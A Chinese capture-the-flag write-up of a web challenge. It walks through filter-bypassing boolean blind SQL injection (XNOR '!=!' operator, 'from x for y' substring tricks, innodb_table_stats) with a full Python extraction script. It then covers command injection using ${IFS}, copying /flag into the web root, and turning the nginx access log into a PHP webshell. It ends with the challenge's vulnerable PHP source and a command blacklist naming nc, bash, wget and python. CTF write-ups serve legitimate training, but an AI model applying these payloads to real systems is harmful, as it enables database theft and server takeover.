http://www.bmzclub.cn/challenges#%E6%B5%81%E9%87%8F%E7%9B%91%E6%8E%A7%E5%B9%B3%E5%8F%B0
通过枚举可知存在admin
用户,当uname=admin
时,发现提示密码错误,当uname!=admin
时提示用户名错误。
另外存在过滤SQL关键字符
简单fuzz一下过滤了哪些字符
首先注释无法使用,可以通过构造字符闭合来绕过
空格及内联注释也无法使用,可以利用()
绕过
and
、or
、&
、|
都被过滤,可以使用同或
,虽然mysql只支持not
、and
、or
、xor
四种运算符。但是同或
的运算逻辑也是可以在mysql中可以用符号!=!
表示的。同或的运算逻辑与异或相反
and/&&的逻辑:
1 and 1 == 1
1 and 0 == 0
0 and 1 == 0
0 and 0 == 0
or/||的逻辑:
1 or 1 == 1
1 or 0 == 1
0 or 1 == 1
0 or 0 == 0
同或!=!的逻辑:
1 !=! 1 == 1
1 !=! 0 == 0
0 !=! 1 == 0
0 !=! 0 == 1
异或xor的逻辑:
1 xor 1 == 0
0 xor 1 == 1
1 xor 0 == 1
0 xor 0 == 0
这里我们只需要控制中间的表达式值对注入信息的每一位fuzz,进行布尔盲注即可,如下图所示
当测试注入语句正确时,只返回一条admin
的数据,这时候username
是正确的,所以返回password
错误。当注入测试语句时错误的,则返回username
错误,以此作为判断依据。
但是从fuzz的黑名单中已知了,逗号,
是被过滤得。得尝试不适用逗号也能截位。
经查阅资料,发现可以使用from x for y
的方法来绕过逗号,
但是有问题的是这里的for
也含有or
,此类含有or
字符的SQL关键字还有information
当mysql版本大于
5.6
时information
的绕过就是利用innodb
引擎下自带的两张信息表:innodb_index_stats
、innodb_table_stats
from x for y
没有for
一样可以截位,只不过不能一位一位截取罢了
综上所述即可构造
uname=admin'!=!(ascii(mid(user()from(-1)))=116)!=!'1&passwd=mochu7
将user()
最后一位的ascii码
改为不正确时,返回username error
可以猜测一下user()
是不是root@localhost
,不过这样就不能用ascii()
了,可以用hex()
。后面脚本也都是用hex()
uname=admin'!=!(hex(mid(user()from(-14)))='726F6F74406C6F63616C686F7374')!=!'1&passwd=mochu7
import requests
import string
from binascii import *
allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
burp0_url = "http://www.bmzclub.cn:20351/login.php"
burp0_cookies = {
"PHPSESSID": "l9tsv3e1umnp0lk9dahkee5l41", "session": "6bc4a005-f112-45e7-a15d-8b323e5b879d"}
burp0_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://www.bmzclub.cn:20351", "Connection": "close", "Referer": "http://www.bmzclub.cn:20351/", "Upgrade-Insecure-Requests": "1"}
hexdata = ''
for l in range(1,50):
for s in allstr:
s = hexlify(bytes(s.encode())).decode().upper()
payload = "admin'!=!(hex(mid(user()from(-{})))='{}')!=!'1".format(l,s+hexdata)
burp0_data = {
"uname": payload, "passwd": "mochu7"}
resp = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
if 'password error!!@_@' in resp.text:
hexdata = s + hexdata
print(unhexlify(hexdata).decode())
else:
continue
查用户名/当前数据库/版本
payload = "admin'!=!(hex(mid(user()from(-{})))='{}')!=!'1".format(l,s+hexdata)
payload = "admin'!=!(hex(mid(database()from(-{})))='{}')!=!'1".format(l,s+hexdata)
payload = "admin'!=!(hex(mid(version()from(-{})))='{}')!=!'1".format(l,s+hexdata)
注入得到的信息如下:
user(): root@localhost
current_database(): ctf
version(): 10.2.26-MariaDB-log
查ctf库中的表名
payload = "admin'!=!(hex(mid((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name)='ctf')from(-{})))='{}')!=!'1".format(l,s+hexdata)
查询结果显示当前数据库中只有一张admin
表
接下来无法通过innodb
这两张表查到字段的数据了,因为限制太多,如限制了反引号。不确定能否通过盲注查询出字段数据,这里就不继续查询admin
表字段数据了,直接就可以通过POST的参数尝试猜测字段名为uname
和passwd
如果这里没有过滤
*
,那就可以直接select * from ctf.admin;
查字段uname
的内容
payload = "admin'!=!((select(hex(mid(group_concat(uname)from(-{})))='{}')from(ctf.admin)))!=!'1".format(l,s+hexdata)
只有一个用户admin
继续查字段passwd
的内容
payload = "admin'!=!((select(hex(mid(group_concat(passwd)from(-{})))='{}')from(ctf.admin)))!=!'1".format(l,s+hexdata)
得到用户admin
的密码:e10adc3949ba59abbe56e057f20f883e
应该是md5
,拿去cmd5查询一下
。。。。。。。密码就这???????
上面所有的努力就是一个弱口令登陆的的事情???????
唉,早知道就直接尝试弱口令了。不过没关系。毕竟是CTF,能学到的以前不知道的姿势就行,又不是实战渗透。
实战估计早就吐血了。
得到密码后成功登录
猜测命令执行,没有回显猜测是exec()
执行
命令执行出错有回显
测试的时候发现,有过滤
简单fuzz了下发现过滤了nc
、bash
、python
、php
、wget
、ftp
、sh
、>
以及空格
等,命令执行绕过,过滤了这些应该很容易就绕过了吧,姿势网上多的很,这里就不赘述了。
另外经过多次测试后发现这里执行命令对错应该是直接判断exec()
的返回值,这样的话显示的命令执行对错就没什么用了,有些正确的命令本身没有输出例如cp
、mv
等。而且有些错误的命令执行会输出报错信息,被exec()
作为返回值反而回显命令执行成功。
一开始试了下反弹shell,结果试了很多次没成功,也是迷。干脆就用别的办法了。
第一种方法:利用cp
将flag直接复制到web目录下
cp${IFS}/flag${IFS}./flag.html
直接访问/admin/flag.html
第二种方法:利用burp,将shell写在url后面
Nginx的服务器,默认日志文件地址/var/log/nginx/access.log
或者/var/log/nginx/error.log
利用cp
将日志文件复制到web目录,后缀为php
cp${IFS}/var/log/nginx/access.log${IFS}mochu7.ph\p
执行完成后,访问http://www.bmzclub.cn:20351/admin/mochu7.php
成功拿到shell
有命令执行,操作空间就很大。还有很多别的方法自己去发掘吧。
最后贴一下源码
login.php
header("Content-Type:text/html;charset=utf-8");
error_reporting(E_ERROR);
define ('PATH_WEB', dirname(__FILE__).'/');
require_once(dirname(__FILE__).'/include/conf.php');
require_once(dirname(__FILE__).'/include/fiter.php');
#var_dump($_SESSION);
if($_SESSION['flag'] === 1){
header("location:./admin/");exit;
}
#echo $_POST['uname'].'````'.$_POST['passwd'];
if($_POST['uname'] && $_POST['passwd']){
$obj = new fiter();
$uname = $obj->sql_clean($_POST['uname']);
$passwd = md5($_POST['passwd']);
$query="SELECT * FROM admin WHERE uname='".$uname."'";
$result=mysql_query($query);
#var_dump($result);
if ($row = mysql_fetch_array($result)){
#print_r($row);echo "\n\r
";
if ($row['passwd']===$passwd){
$_SESSION['flag'] = 1;
#echo $_SESSION['flag'];
header("location:./admin/");exit();
}
else{
echo ""; exit();
}
}
else{
echo ""; exit();
}
}
else {
echo ""; exit();
}
?>
filter.php
class fiter{
var $str;
var $order;
function sql_clean($str){
if(is_array($str)){
echo "";exit;
}
$filter = "/ |\*|#|,|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
//由于在mysql中认为 %a0 也是空格,所以这里也需要过滤,
//在这里做了修改,添加 %a0
if(preg_match($filter,$str)){
echo "";exit;
}else if(strrpos($str,urldecode("%00"))){
echo "";exit;
}
return $this->str=$str;
}
function ord_clean($ord){
$filter = " |bash|perl|nc|java|php|>|>>|wget|ftp|python|sh";
if (preg_match("/".$filter."/i",$ord) == 1){
return $this->order = "";
}
return $this->order = $ord;
}
?>
admin/index.php
header("Content-Type:text/html;charset=utf-8");
$o = new fiter();
$a = $o->ord_clean($_POST['ord']);
if($a){
if(exec($a))echo '命令执行成功!!';
else echo "命令执行出错!!";
}else echo "想干啥呢~_~!!"
?>